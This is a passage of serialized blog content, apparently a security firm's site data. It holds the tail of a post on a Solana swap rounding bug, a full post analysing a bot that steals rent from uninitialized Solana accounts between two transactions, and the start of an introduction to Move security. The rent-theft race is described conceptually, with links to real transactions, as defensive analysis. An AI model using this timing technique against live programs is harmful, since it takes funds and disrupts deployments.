],{"type":30,"value":16273},{"type":25,"tag":271,"props":18319,"children":18320},{"style":13620},[18321],{"type":30,"value":16374},{"type":25,"tag":271,"props":18323,"children":18324},{"style":13625},[18325],{"type":30,"value":394},{"type":25,"tag":271,"props":18327,"children":18328},{"style":13598},[18329],{"type":30,"value":16383},{"type":25,"tag":271,"props":18331,"children":18332},{"style":13625},[18333],{"type":30,"value":440},{"type":25,"tag":271,"props":18335,"children":18336},{"style":13603},[18337],{"type":30,"value":5632},{"type":25,"tag":271,"props":18339,"children":18340},{"style":13625},[18341],{"type":30,"value":440},{"type":25,"tag":271,"props":18343,"children":18344},{"style":13603},[18345],{"type":30,"value":5632},{"type":25,"tag":271,"props":18347,"children":18348},{"style":13625},[18349],{"type":30,"value":16165},{"type":25,"tag":271,"props":18351,"children":18352},{"class":13593,"line":16495},[18353,18357,18361,18365,18369,18373],{"type":25,"tag":271,"props":18354,"children":18355},{"style":13603},[18356],{"type":30,"value":2074},{"type":25,"tag":271,"props":18358,"children":18359},{"style":16171},[18360],{"type":30,"value":16412},{"type":25,"tag":271,"props":18362,"children":18363},{"style":13598},[18364],{"type":30,"value":16417},{"type":25,"tag":271,"props":18366,"children":18367},{"style":13603},[18368],{"type":30,"value":16422},{"type":25,"tag":271,"props":18370,"children":18371},{"style":13598},[18372],{"type":30,"value":16150},{"type":25,"tag":271,"props":18374,"children":18375},{"style":13625},[18376],{"type":30,"value":16431},{"type":25,"tag":271,"props":18378,"children":18379},{"class":13593,"line":16744},[18380,18385],{"type":25,"tag":271,"props":18381,"children":18382},{"style":16171},[18383],{"type":30,"value":18384},"             break",{"type":25,"tag":271,"props":18386,"children":18387},{"style":13625},[18388],{"type":30,"value":16165},{"type":25,"tag":271,"props":18390,"children":18391},{"class":13593,"line":16761},[18392,18396,18400,18404],{"type":25,"tag":271,"props":18393,"children":18394},{"style":13603},[18395],{"type":30,"value":2074},{"type":25,"tag":271,"props":18397,"children":18398},{"style":13625},[18399],{"type":30,"value":16453},{"type":25,"tag":271,"props":18401,"children":18402},{"style":16171},[18403],{"type":30,"value":16458},{"type":25,"tag":271,"props":18405,"children":18406},{"style":13625},[18407],{"type":30,"value":16431},{"type":25,"tag":271,"props":18409,"children":18410},{"class":13593,"line":16778},[18411,18415,18419,18423,18427],{"type":25,"tag":271,"props":18412,"children":18413},{"style":13603},[18414],{"type":30,"value":2074},{"type":25,"tag":271,"props":18416,"children":18417},{"style":13598},[18418],{"type":30,"value":16471},{"type":25,"tag":271,"props":18420,"children":18421},{"style":13603},[18422],{"type":30,"value":16155},{"type":25,"tag":271,"props":18424,"children":18425},{"style":13598},[18426],{"type":30,"value":16417},{"type":25,"tag":271,"props":18428,"children":18429},{"style":13625},[18430],{"type":30,"value":16165},{"type":25,"tag":271,"props":18432,"children":18433},{"class":13593,"line":16791},[18434],{"type":25,"tag":271,"props":18435,"children":18436},{"style":13625},[18437],{"type":30,"value":18438},"         }\n",{"type":25,"tag":96,"props":18440,"children":18442},{"id":18441},"closing-thoughts",[18443],{"type":30,"value":18444},"Closing Thoughts",{"type":25,"tag":26,"props":18446,"children":18447},{},[18448],{"type":30,"value":18449},"This is a good example of how messing around and interacting with the ecosystem can lead to unexpected bugs. We found this, not as a result of active security research, but as part of our work in MEV and trading.",{"type":25,"tag":26,"props":18451,"children":18452},{},[18453,18455,18460],{"type":30,"value":18454},"Another interesting takeaway is that ",{"type":25,"tag":38,"props":18456,"children":18457},{},[18458],{"type":30,"value":18459},"fuzzing can give a false sense of security",{"type":30,"value":18461},". Prior to our report, Saber had already deployed comprehensive fuzzers for their swap implementation. A researcher looking at code coverage alone might come to the incorrect conclusion that such extensively fuzzed code couldn't possibly have a vulnerability.",{"type":25,"tag":26,"props":18463,"children":18464},{},[18465,18467,18474],{"type":30,"value":18466},"One can see parallels to traditional security, as with Google Project Zero's ",{"type":25,"tag":83,"props":18468,"children":18471},{"href":18469,"rel":18470},"https://googleprojectzero.blogspot.com/2021/12/this-shouldnt-have-happened.html",[9066],[18472],{"type":30,"value":18473},"port-mortem of the NSS overflow",{"type":30,"value":1860},{"type":25,"tag":26,"props":18476,"children":18477},{},[18478],{"type":25,"tag":698,"props":18479,"children":18481},{"alt":7,"src":18480},"/posts/spl-swap/p0.png",[],{"type":25,"tag":26,"props":18483,"children":18484},{},[18485],{"type":30,"value":18486},"A heavily fuzzed method had a trivial buffer overflow due to an arbitrary size limit on the input data. Implict assumptions can often undermine security.",{"type":25,"tag":26,"props":18488,"children":18489},{},[18490],{"type":30,"value":18491},"Especially with regard to onchain programs, it's important to consider what actually is a \"vulnerability\". Getting tokens from nothing is a more obvious example, but more subtle bugs can arise with increasingly complex defi interactions. Economic invariants are much harder to detect than say, memory corruption.",{"type":25,"tag":26,"props":18493,"children":18494},{},[18495],{"type":30,"value":18496},"A comprehensive evaluation of smart contracts relies on a deep understanding of economic implications within the Solana ecosystem.",{"type":25,"tag":15963,"props":18498,"children":18499},{},[18500],{"type":30,"value":15967},{"title":7,"searchDepth":11641,"depth":11641,"links":18502},[18503,18504,18505,18506],{"id":16059,"depth":11641,"text":16062},{"id":17081,"depth":11641,"text":17084},{"id":17356,"depth":11641,"text":17359},{"id":18441,"depth":11641,"text":18444},"content:blog:2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding",{"_path":18511,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":18512,"description":18513,"image":18514,"date":18518,"isFeatured":18,"onBlogPage":18,"tags":18519,"body":18520,"_type":16004,"_id":18844,"_source":16006,"_file":18845,"_stem":18846,"_extension":16009},"/blog/2022-08-19-solend-rent-thief","The Story of the Curious Rent Thief","A tale of pickpockets preying on the Solana ecosystem. Read our investigation into the persistent theft of rent from uninitialized accounts. This is the story of the Solend rent thief.",{"src":18515,"width":18516,"height":18517},"/posts/rent-thief/title.jpg",970,826,"2022-08-19",[16021,16022],{"type":22,"children":18521,"toc":18837},[18522,18527,18533,18538,18543,18548,18554,18567,18614,18645,18654,18659,18664,18669,18675,18688,18704,18709,18714,18729,18733,18738,18753,18760,18765,18775,18782,18786,18791,18797,18802,18807,18812,18818,18823],{"type":25,"tag":26,"props":18523,"children":18524},{},[18525],{"type":30,"value":18526},"Recently, there’s been a rent thief. This bot steals money from uninitialized accounts across the Solana ecosystem, claiming and profiting from the rent. The Solend team noticed the bot when it attempted an attack on the new permissionless pools that are being developed (to be clear, funds stored in the main Solend protocol are completely unaffected). Let's dig into how rent thieving works by doing a case study on an attack to one of the permissionless pools.",{"type":25,"tag":96,"props":18528,"children":18530},{"id":18529},"background",[18531],{"type":30,"value":18532},"Background",{"type":25,"tag":26,"props":18534,"children":18535},{},[18536],{"type":30,"value":18537},"To understand how this exploit works, we first have to understand a bit about how rent works in Solana.",{"type":25,"tag":26,"props":18539,"children":18540},{},[18541],{"type":30,"value":18542},"Since accounts can store data that every validator needs to download, Solana charges a certain amount of rent based on the amount of data. However, accounts that have enough for 2 years of rent payments are considered rent-exempt as long as their balance never drops below the threshold. Fortunately, rent is very cheap, so it's not hard to make an account rent-exempt.",{"type":25,"tag":26,"props":18544,"children":18545},{},[18546],{"type":30,"value":18547},"As such, when creating new accounts, most programs will need to transfer some SOL into the new account to make it rent-exempt.",{"type":25,"tag":96,"props":18549,"children":18551},{"id":18550},"the-exploit",[18552],{"type":30,"value":18553},"The Exploit",{"type":25,"tag":26,"props":18555,"children":18556},{},[18557,18559,18565],{"type":30,"value":18558},"New reserves (also known as assets) are added to a Solend pool by calling the ",{"type":25,"tag":264,"props":18560,"children":18562},{"className":18561},[],[18563],{"type":30,"value":18564},"init_reserve",{"type":30,"value":18566}," function, which creates 6 new accounts to store data about the reserve:",{"type":25,"tag":661,"props":18568,"children":18569},{},[18570,18575,18580,18585,18596,18601],{"type":25,"tag":112,"props":18571,"children":18572},{},[18573],{"type":30,"value":18574},"reserve detail - stores information about the reserve e.g liquidity mint, mint decimals, oracles, configs, etc.",{"type":25,"tag":112,"props":18576,"children":18577},{},[18578],{"type":30,"value":18579},"reserve liquidity token account - holds deposited tokens",{"type":25,"tag":112,"props":18581,"children":18582},{},[18583],{"type":30,"value":18584},"fee receiver token account - account which will receive origination fees on borrows",{"type":25,"tag":112,"props":18586,"children":18587},{},[18588,18590],{"type":30,"value":18589},"reserve collateral mint account - deposit receipt token, also known as ",{"type":25,"tag":264,"props":18591,"children":18593},{"className":18592},[],[18594],{"type":30,"value":18595},"cTokens",{"type":25,"tag":112,"props":18597,"children":18598},{},[18599],{"type":30,"value":18600},"reserve collateral token account - holds users' collateral tokens",{"type":25,"tag":112,"props":18602,"children":18603},{},[18604,18606,18612],{"type":30,"value":18605},"creator collateral token account - creator's ",{"type":25,"tag":264,"props":18607,"children":18609},{"className":18608},[],[18610],{"type":30,"value":18611},"cToken",{"type":30,"value":18613}," account",{"type":25,"tag":26,"props":18615,"children":18616},{},[18617,18619,18624,18626,18631,18633,18638,18640],{"type":30,"value":18618},"Account creation and initialization are ",{"type":25,"tag":10281,"props":18620,"children":18621},{},[18622],{"type":30,"value":18623},"usually",{"type":30,"value":18625}," done within the same transactions. However, due to Solana's transaction size limit of 1232 bytes, the creation and initialization of these 6 accounts had to be separated into 2 transactions, creation and initialization. Here's what a call to ",{"type":25,"tag":264,"props":18627,"children":18629},{"className":18628},[],[18630],{"type":30,"value":18564},{"type":30,"value":18632}," is ",{"type":25,"tag":10281,"props":18634,"children":18635},{},[18636],{"type":30,"value":18637},"supposed",{"type":30,"value":18639}," to look like:\n",{"type":25,"tag":698,"props":18641,"children":18644},{"src":18642,"alt":18643},"/posts/rent-thief/transacdiagram.png","drawing",[],{"type":25,"tag":26,"props":18646,"children":18647},{},[18648,18650],{"type":30,"value":18649},"Notice anything amiss? In between the two transactions, the account has rent money but no owner. This is where the rent thief comes in to snatch the account, along with its rent:\n",{"type":25,"tag":698,"props":18651,"children":18653},{"src":18652,"alt":18643},"/posts/rent-thief/attacktransac.png",[],{"type":25,"tag":26,"props":18655,"children":18656},{},[18657],{"type":30,"value":18658},"Since there was a roughly 40 second (50 slot) window in between the two transactions, such an attack was very consistent.",{"type":25,"tag":26,"props":18660,"children":18661},{},[18662],{"type":30,"value":18663},"Fortunately, rent is relatively cheap so the entire attack only extracts about 0.0082 SOL every iteration (4 token accounts each worth around 0.002 SOL), which is around 28 cents at the time of writing this article.",{"type":25,"tag":26,"props":18665,"children":18666},{},[18667],{"type":30,"value":18668},"Despite this lost cost, this is pretty annoying...",{"type":25,"tag":96,"props":18670,"children":18672},{"id":18671},"example",[18673],{"type":30,"value":18674},"Example",{"type":25,"tag":26,"props":18676,"children":18677},{},[18678,18680,18687],{"type":30,"value":18679},"Let's take a look at ",{"type":25,"tag":83,"props":18681,"children":18684},{"href":18682,"rel":18683},"https://explorer.solana.com/address/2PUTo74Vbt9fXVoTywjTFZNnWGckWS98HnruXvZJaj4N",[9066],[18685],{"type":30,"value":18686},"a real attack",{"type":30,"value":1860},{"type":25,"tag":26,"props":18689,"children":18690},{},[18691,18698,18700],{"type":25,"tag":83,"props":18692,"children":18695},{"href":18693,"rel":18694},"https://explorer.solana.com/tx/9yon9Av2sBq78bZ92Pa28p8gef5MUEQL3sBLGVzxK3RNGYsN2nLnTrbqS1wMCvJdinKE8CC9SwCuUYuNBwrNFNy",[9066],[18696],{"type":30,"value":18697},"Transaction 1",{"type":30,"value":18699},":\n",{"type":25,"tag":698,"props":18701,"children":18703},{"alt":7,"src":18702},"https://i.imgur.com/xJvIwgc.png",[],{"type":25,"tag":26,"props":18705,"children":18706},{},[18707],{"type":30,"value":18708},"(...more accounts truncated)",{"type":25,"tag":26,"props":18710,"children":18711},{},[18712],{"type":30,"value":18713},"The developer creates a couple accounts and transfers enough SOL for them to be rent-exempt. This took place in slot 136,580,113.",{"type":25,"tag":26,"props":18715,"children":18716},{},[18717,18724,18725],{"type":25,"tag":83,"props":18718,"children":18721},{"href":18719,"rel":18720},"https://explorer.solana.com/tx/22beQSDReFGK4KAgarAz4MbibpxaFHiARd3yaCDZ4wmKSNoTcxmKMp6uRNA2CY4xAAZVZZCDg522aJ7jXftyhtSE",[9066],[18722],{"type":30,"value":18723},"Attacker's Transaction",{"type":30,"value":18699},{"type":25,"tag":698,"props":18726,"children":18728},{"alt":7,"src":18727},"https://i.imgur.com/CpSKuL3.png",[],{"type":25,"tag":26,"props":18730,"children":18731},{},[18732],{"type":30,"value":18708},{"type":25,"tag":26,"props":18734,"children":18735},{},[18736],{"type":30,"value":18737},"As detailed before, the attacker takes ownership of the newly created accounts. This took place in slot 136,580,154, which is 41 slots (29 seconds) after the initial transaction.",{"type":25,"tag":26,"props":18739,"children":18740},{},[18741,18748,18749],{"type":25,"tag":83,"props":18742,"children":18745},{"href":18743,"rel":18744},"https://explorer.solana.com/tx/beYo1YBCa4fQ8swdJchx9s4qtgDQV4oVSEqwAX7UpHan4U4Jsv1oxY2V2ZxE77pBQHzYwV4gCXpDDKTgM7kBT4y",[9066],[18746],{"type":30,"value":18747},"Transaction 2",{"type":30,"value":18699},{"type":25,"tag":698,"props":18750,"children":18752},{"alt":7,"src":18751},"https://i.imgur.com/of0GIdw.png",[],{"type":25,"tag":26,"props":18754,"children":18755},{},[18756],{"type":25,"tag":698,"props":18757,"children":18759},{"alt":7,"src":18758},"https://i.imgur.com/0STSyv8.png",[],{"type":25,"tag":26,"props":18761,"children":18762},{},[18763],{"type":30,"value":18764},"The developer attempts to take ownership of the account, but it fails with the error \"account or token already in use\" since the attacker took ownership of it. This took place in slot 136,580,167, which is 13 slots (9 seconds) after the attacker's transaction. In total, that's a 54 slot-gap (38 seconds) between the two Solend transactions.",{"type":25,"tag":26,"props":18766,"children":18767},{},[18768,18774],{"type":25,"tag":83,"props":18769,"children":18772},{"href":18770,"rel":18771},"https://explorer.solana.com/tx/3D45bCbbeSEaigz3RX6GRKuoDSok3FHMi5Z2N5HDXcPjqMzu3Qx5iEoXh56RWg1mn7w9ZuZifD91n1DwnPjdaW2G",[9066],[18773],{"type":30,"value":18723},{"type":30,"value":359},{"type":25,"tag":26,"props":18776,"children":18777},{},[18778],{"type":25,"tag":698,"props":18779,"children":18781},{"alt":7,"src":18780},"https://i.imgur.com/AmSPdmy.png",[],{"type":25,"tag":26,"props":18783,"children":18784},{},[18785],{"type":30,"value":18708},{"type":25,"tag":26,"props":18787,"children":18788},{},[18789],{"type":30,"value":18790},"Now that the attack is over, the attacker closes the accounts, transferring the rent money to themselves. The total money stolen during this attack was 0.00815212 SOL.",{"type":25,"tag":96,"props":18792,"children":18794},{"id":18793},"impact",[18795],{"type":30,"value":18796},"Impact",{"type":25,"tag":26,"props":18798,"children":18799},{},[18800],{"type":30,"value":18801},"Rent-thieving attacks don't steal much money.",{"type":25,"tag":26,"props":18803,"children":18804},{},[18805],{"type":30,"value":18806},"They can only make a small profit very infrequently as Solana rent is cheap and there are only a handful of large services that separate account creation and initialization. In addition, this stratedgy doesn't scale well, since such non-atomic account creation is relatively infrequent.",{"type":25,"tag":26,"props":18808,"children":18809},{},[18810],{"type":30,"value":18811},"However, it's still obnoxious even if the monetary impact is minimal. Transactions will fail and need to be remade, impacting usability.",{"type":25,"tag":96,"props":18813,"children":18815},{"id":18814},"solution",[18816],{"type":30,"value":18817},"Solution",{"type":25,"tag":26,"props":18819,"children":18820},{},[18821],{"type":30,"value":18822},"As a temporary stopgap, Solend refactored their codebase to lower the 40 second delay between transactions to around 15 seconds (20 slots), making an attack much more difficult and inconsistent.",{"type":25,"tag":26,"props":18824,"children":18825},{},[18826,18828,18835],{"type":30,"value":18827},"As a more permenant solution, Solend implemented ",{"type":25,"tag":83,"props":18829,"children":18832},{"href":18830,"rel":18831},"https://explorer.solana.com/tx/3DR74oQh966HbozLPYFqTgCmQWbUNSBkjUcEs7CuWxMPNxM3mBzqH7Gqu1mVRBRxNSTWJBcJkTnCzmoqD6kPYMXE?cluster=devnet",[9066],[18833],{"type":30,"value":18834},"an onchain program",{"type":30,"value":18836}," which handles account creation, allowing them to fit all the relevant instructions into one transaction.",{"title":7,"searchDepth":11641,"depth":11641,"links":18838},[18839,18840,18841,18842,18843],{"id":18529,"depth":11641,"text":18532},{"id":18550,"depth":11641,"text":18553},{"id":18671,"depth":11641,"text":18674},{"id":18793,"depth":11641,"text":18796},{"id":18814,"depth":11641,"text":18817},"content:blog:2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief",{"_path":18848,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":18849,"description":18850,"author":18851,"image":18852,"date":18856,"isFeatured":18,"onBlogPage":18,"body":18857,"_type":16004,"_id":22379,"_source":16006,"_file":22380,"_stem":22381,"_extension":16009},"/blog/2022-09-06-move-introduction","Move: An Auditor's Introduction","What actually makes Move secure? A discussion of Move's typing system and formal verification.","robert",{"src":18853,"height":18854,"width":18855},"/posts/move-intro/title.jpg",1221,1400,"2022-09-06",{"type":22,"children":18858,"toc":22374},[18859,18864,18869,18888,18894,18906,19004,19012,19130,19138,19160,19311,19316,19574,19595,19629,19634,19653,19658,19669,19681,19891,19903,19917,19930,20187,20199,20420,20425,20453,20599,20617,20622,20886,20898,20903,20916,20922,20927,20932,20944,20958,20963,21062,21074,21087,21360,21365,21377,21382,21436,21456,21461,22343,22347,22352,22357,22370],{"type":25,"tag":26,"props":18860,"children":18861},{},[18862],{"type":30,"value":18863},"As part of our work, we seek to understand how to eliminate vulnerability classes. Designing safer languages enables developers to write code with confidence. How exactly does Move lend itself to safer programming practices? What can we learn from Move to generalize secure design principles for other execution environments?",{"type":25,"tag":26,"props":18865,"children":18866},{},[18867],{"type":30,"value":18868},"Lately, there appears to be many buzzwords floating around. Formal verification, type based safety, \"rust but for blockchain\".",{"type":25,"tag":26,"props":18870,"children":18871},{},[18872,18874,18879,18881,18886],{"type":30,"value":18873},"In this piece I'll seek to discuss exactly ",{"type":25,"tag":10281,"props":18875,"children":18876},{},[18877],{"type":30,"value":18878},"how",{"type":30,"value":18880}," move lends itself to more secure programming practices, potential shortcomings, and practical design tips for protocol developers looking to build ",{"type":25,"tag":10281,"props":18882,"children":18883},{},[18884],{"type":30,"value":18885},"structurally",{"type":30,"value":18887}," safer programs.",{"type":25,"tag":96,"props":18889,"children":18891},{"id":18890},"types",[18892],{"type":30,"value":18893},"Types",{"type":25,"tag":26,"props":18895,"children":18896},{},[18897,18899,18905],{"type":30,"value":18898},"One of the key selling points of Move is the use of typed resources. Aptos and Sui have slight variations in how they materialize this pattern, but as an example take ",{"type":25,"tag":264,"props":18900,"children":18902},{"className":18901},[],[18903],{"type":30,"value":18904},"coin.move",{"type":30,"value":1860},{"type":25,"tag":7764,"props":18907,"children":18909},{"className":13586,"code":18908,"language":13585,"meta":7,"style":7},"  /// Main structure representing a coin/token in an account's custody.\n  struct Coin\u003Cphantom CoinType> has store {\n      /// Amount of coin this address has.\n      value: u64,\n  }\n",[18910],{"type":25,"tag":264,"props":18911,"children":18912},{"__ignoreMap":7},[18913,18921,18967,18975,18996],{"type":25,"tag":271,"props":18914,"children":18915},{"class":13593,"line":13594},[18916],{"type":25,"tag":271,"props":18917,"children":18918},{"style":14385},[18919],{"type":30,"value":18920},"  /// Main structure representing a coin/token in an account's custody.\n",{"type":25,"tag":271,"props":18922,"children":18923},{"class":13593,"line":11641},[18924,18929,18934,18938,18943,18948,18953,18958,18963],{"type":25,"tag":271,"props":18925,"children":18926},{"style":14289},[18927],{"type":30,"value":18928},"  struct",{"type":25,"tag":271,"props":18930,"children":18931},{"style":13609},[18932],{"type":30,"value":18933}," Coin",{"type":25,"tag":271,"props":18935,"children":18936},{"style":13625},[18937],{"type":30,"value":14307},{"type":25,"tag":271,"props":18939,"children":18940},{"style":13598},[18941],{"type":30,"value":18942},"phantom",{"type":25,"tag":271,"props":18944,"children":18945},{"style":13609},[18946],{"type":30,"value":18947}," CoinType",{"type":25,"tag":271,"props":18949,"children":18950},{"style":13625},[18951],{"type":30,"value":18952},"> ",{"type":25,"tag":271,"props":18954,"children":18955},{"style":13598},[18956],{"type":30,"value":18957},"has",{"type":25,"tag":271,"props":18959,"children":18960},{"style":13598},[18961],{"type":30,"value":18962}," store",{"type":25,"tag":271,"props":18964,"children":18965},{"style":13625},[18966],{"type":30,"value":16431},{"type":25,"tag":271,"props":18968,"children":18969},{"class":13593,"line":14354},[18970],{"type":25,"tag":271,"props":18971,"children":18972},{"style":14385},[18973],{"type":30,"value":18974},"      /// Amount of coin this address has.\n",{"type":25,"tag":271,"props":18976,"children":18977},{"class":13593,"line":14391},[18978,18983,18987,18992],{"type":25,"tag":271,"props":18979,"children":18980},{"style":13598},[18981],{"type":30,"value":18982},"      value",{"type":25,"tag":271,"props":18984,"children":18985},{"style":13603},[18986],{"type":30,"value":359},{"type":25,"tag":271,"props":18988,"children":18989},{"style":13609},[18990],{"type":30,"value":18991}," u64",{"type":25,"tag":271,"props":18993,"children":18994},{"style":13625},[18995],{"type":30,"value":14351},{"type":25,"tag":271,"props":18997,"children":18998},{"class":13593,"line":14400},[18999],{"type":25,"tag":271,"props":19000,"children":19001},{"style":13625},[19002],{"type":30,"value":19003},"  }\n",{"type":25,"tag":26,"props":19005,"children":19006},{},[19007],{"type":25,"tag":10281,"props":19008,"children":19009},{},[19010],{"type":30,"value":19011},"aptos",{"type":25,"tag":7764,"props":19013,"children":19015},{"className":13586,"code":19014,"language":13585,"meta":7,"style":7},"  /// A coin of type `T` worth `value`. Transferable and storable\n  struct Coin\u003Cphantom T> has key, store {\n      id: UID,\n      balance: Balance\u003CT>\n  }\n",[19016],{"type":25,"tag":264,"props":19017,"children":19018},{"__ignoreMap":7},[19019,19027,19077,19094,19123],{"type":25,"tag":271,"props":19020,"children":19021},{"class":13593,"line":13594},[19022],{"type":25,"tag":271,"props":19023,"children":19024},{"style":14385},[19025],{"type":30,"value":19026},"  /// A coin of type `T` worth `value`. Transferable and storable\n",{"type":25,"tag":271,"props":19028,"children":19029},{"class":13593,"line":11641},[19030,19034,19038,19042,19046,19051,19055,19059,19064,19068,19073],{"type":25,"tag":271,"props":19031,"children":19032},{"style":14289},[19033],{"type":30,"value":18928},{"type":25,"tag":271,"props":19035,"children":19036},{"style":13609},[19037],{"type":30,"value":18933},{"type":25,"tag":271,"props":19039,"children":19040},{"style":13625},[19041],{"type":30,"value":14307},{"type":25,"tag":271,"props":19043,"children":19044},{"style":13598},[19045],{"type":30,"value":18942},{"type":25,"tag":271,"props":19047,"children":19048},{"style":13609},[19049],{"type":30,"value":19050}," T",{"type":25,"tag":271,"props":19052,"children":19053},{"style":13625},[19054],{"type":30,"value":18952},{"type":25,"tag":271,"props":19056,"children":19057},{"style":13598},[19058],{"type":30,"value":18957},{"type":25,"tag":271,"props":19060,"children":19061},{"style":13598},[19062],{"type":30,"value":19063}," key",{"type":25,"tag":271,"props":19065,"children":19066},{"style":13625},[19067],{"type":30,"value":44},{"type":25,"tag":271,"props":19069,"children":19070},{"style":13598},[19071],{"type":30,"value":19072},"store",{"type":25,"tag":271,"props":19074,"children":19075},{"style":13625},[19076],{"type":30,"value":16431},{"type":25,"tag":271,"props":19078,"children":19079},{"class":13593,"line":14354},[19080,19085,19089],{"type":25,"tag":271,"props":19081,"children":19082},{"style":13598},[19083],{"type":30,"value":19084},"      id",{"type":25,"tag":271,"props":19086,"children":19087},{"style":13603},[19088],{"type":30,"value":359},{"type":25,"tag":271,"props":19090,"children":19091},{"style":13625},[19092],{"type":30,"value":19093}," UID,\n",{"type":25,"tag":271,"props":19095,"children":19096},{"class":13593,"line":14391},[19097,19102,19106,19111,19115,19119],{"type":25,"tag":271,"props":19098,"children":19099},{"style":13598},[19100],{"type":30,"value":19101},"      balance",{"type":25,"tag":271,"props":19103,"children":19104},{"style":13603},[19105],{"type":30,"value":359},{"type":25,"tag":271,"props":19107,"children":19108},{"style":13609},[19109],{"type":30,"value":19110}," Balance",{"type":25,"tag":271,"props":19112,"children":19113},{"style":13625},[19114],{"type":30,"value":14307},{"type":25,"tag":271,"props":19116,"children":19117},{"style":13609},[19118],{"type":30,"value":301},{"type":25,"tag":271,"props":19120,"children":19121},{"style":13625},[19122],{"type":30,"value":14448},{"type":25,"tag":271,"props":19124,"children":19125},{"class":13593,"line":14400},[19126],{"type":25,"tag":271,"props":19127,"children":19128},{"style":13625},[19129],{"type":30,"value":19003},{"type":25,"tag":26,"props":19131,"children":19132},{},[19133],{"type":25,"tag":10281,"props":19134,"children":19135},{},[19136],{"type":30,"value":19137},"sui",{"type":25,"tag":26,"props":19139,"children":19140},{},[19141,19143,19150,19152,19158],{"type":30,"value":19142},"Pulling an example from ",{"type":25,"tag":83,"props":19144,"children":19147},{"href":19145,"rel":19146},"https://pontem.network/",[9066],[19148],{"type":30,"value":19149},"Pontem Network's",{"type":30,"value":19151}," Liquidswap DEX implementation on Aptos, we can see that ",{"type":25,"tag":264,"props":19153,"children":19155},{"className":19154},[],[19156],{"type":30,"value":19157},"LiquidityPool",{"type":30,"value":19159}," natively embeds this type information into it's fields.",{"type":25,"tag":7764,"props":19161,"children":19163},{"className":13586,"code":19162,"language":13585,"meta":7,"style":7},"    /// Liquidity pool with reserves.\n    struct LiquidityPool\u003Cphantom X, phantom Y, phantom LP> has key {\n        coin_x_reserve: Coin\u003CX>,\n        coin_y_reserve: Coin\u003CY>,\n        // ...\n    }\n",[19164],{"type":25,"tag":264,"props":19165,"children":19166},{"__ignoreMap":7},[19167,19175,19239,19268,19296,19304],{"type":25,"tag":271,"props":19168,"children":19169},{"class":13593,"line":13594},[19170],{"type":25,"tag":271,"props":19171,"children":19172},{"style":14385},[19173],{"type":30,"value":19174},"    /// Liquidity pool with reserves.\n",{"type":25,"tag":271,"props":19176,"children":19177},{"class":13593,"line":11641},[19178,19183,19188,19192,19196,19201,19205,19209,19214,19218,19222,19227,19231,19235],{"type":25,"tag":271,"props":19179,"children":19180},{"style":14289},[19181],{"type":30,"value":19182},"    struct",{"type":25,"tag":271,"props":19184,"children":19185},{"style":13609},[19186],{"type":30,"value":19187}," LiquidityPool",{"type":25,"tag":271,"props":19189,"children":19190},{"style":13625},[19191],{"type":30,"value":14307},{"type":25,"tag":271,"props":19193,"children":19194},{"style":13598},[19195],{"type":30,"value":18942},{"type":25,"tag":271,"props":19197,"children":19198},{"style":13609},[19199],{"type":30,"value":19200}," X",{"type":25,"tag":271,"props":19202,"children":19203},{"style":13625},[19204],{"type":30,"value":44},{"type":25,"tag":271,"props":19206,"children":19207},{"style":13598},[19208],{"type":30,"value":18942},{"type":25,"tag":271,"props":19210,"children":19211},{"style":13609},[19212],{"type":30,"value":19213}," Y",{"type":25,"tag":271,"props":19215,"children":19216},{"style":13625},[19217],{"type":30,"value":44},{"type":25,"tag":271,"props":19219,"children":19220},{"style":13598},[19221],{"type":30,"value":18942},{"type":25,"tag":271,"props":19223,"children":19224},{"style":13625},[19225],{"type":30,"value":19226}," LP> ",{"type":25,"tag":271,"props":19228,"children":19229},{"style":13598},[19230],{"type":30,"value":18957},{"type":25,"tag":271,"props":19232,"children":19233},{"style":13598},[19234],{"type":30,"value":19063},{"type":25,"tag":271,"props":19236,"children":19237},{"style":13625},[19238],{"type":30,"value":16431},{"type":25,"tag":271,"props":19240,"children":19241},{"class":13593,"line":14354},[19242,19247,19251,19255,19259,19263],{"type":25,"tag":271,"props":19243,"children":19244},{"style":13598},[19245],{"type":30,"value":19246},"        coin_x_reserve",{"type":25,"tag":271,"props":19248,"children":19249},{"style":13603},[19250],{"type":30,"value":359},{"type":25,"tag":271,"props":19252,"children":19253},{"style":13609},[19254],{"type":30,"value":18933},{"type":25,"tag":271,"props":19256,"children":19257},{"style":13625},[19258],{"type":30,"value":14307},{"type":25,"tag":271,"props":19260,"children":19261},{"style":13609},[19262],{"type":30,"value":419},{"type":25,"tag":271,"props":19264,"children":19265},{"style":13625},[19266],{"type":30,"value":19267},">,\n",{"type":25,"tag":271,"props":19269,"children":19270},{"class":13593,"line":14391},[19271,19276,19280,19284,19288,19292],{"type":25,"tag":271,"props":19272,"children":19273},{"style":13598},[19274],{"type":30,"value":19275},"        coin_y_reserve",{"type":25,"tag":271,"props":19277,"children":19278},{"style":13603},[19279],{"type":30,"value":359},{"type":25,"tag":271,"props":19281,"children":19282},{"style":13609},[19283],{"type":30,"value":18933},{"type":25,"tag":271,"props":19285,"children":19286},{"style":13625},[19287],{"type":30,"value":14307},{"type":25,"tag":271,"props":19289,"children":19290},{"style":13609},[19291],{"type":30,"value":469},{"type":25,"tag":271,"props":19293,"children":19294},{"style":13625},[19295],{"type":30,"value":19267},{"type":25,"tag":271,"props":19297,"children":19298},{"class":13593,"line":14400},[19299],{"type":25,"tag":271,"props":19300,"children":19301},{"style":14385},[19302],{"type":30,"value":19303},"        // ...\n",{"type":25,"tag":271,"props":19305,"children":19306},{"class":13593,"line":16406},[19307],{"type":25,"tag":271,"props":19308,"children":19309},{"style":13625},[19310],{"type":30,"value":16501},{"type":25,"tag":26,"props":19312,"children":19313},{},[19314],{"type":30,"value":19315},"This has the advantage of aligning type information at compile time. It would be difficult to accidentally pass in the wrong type of coin to a function.",{"type":25,"tag":7764,"props":19317,"children":19319},{"className":13586,"code":19318,"language":13585,"meta":7,"style":7},"      public fun mint\u003CX, Y, LP>(\n          pool_addr: address,\n          coin_x: Coin\u003CX>,\n          coin_y: Coin\u003CY>\n      ): Coin\u003CLP> acquires LiquidityPool, EventsStore {\n          // ...\n\n          let (x_reserve_size, y_reserve_size) = get_reserves_size\u003CX, Y, 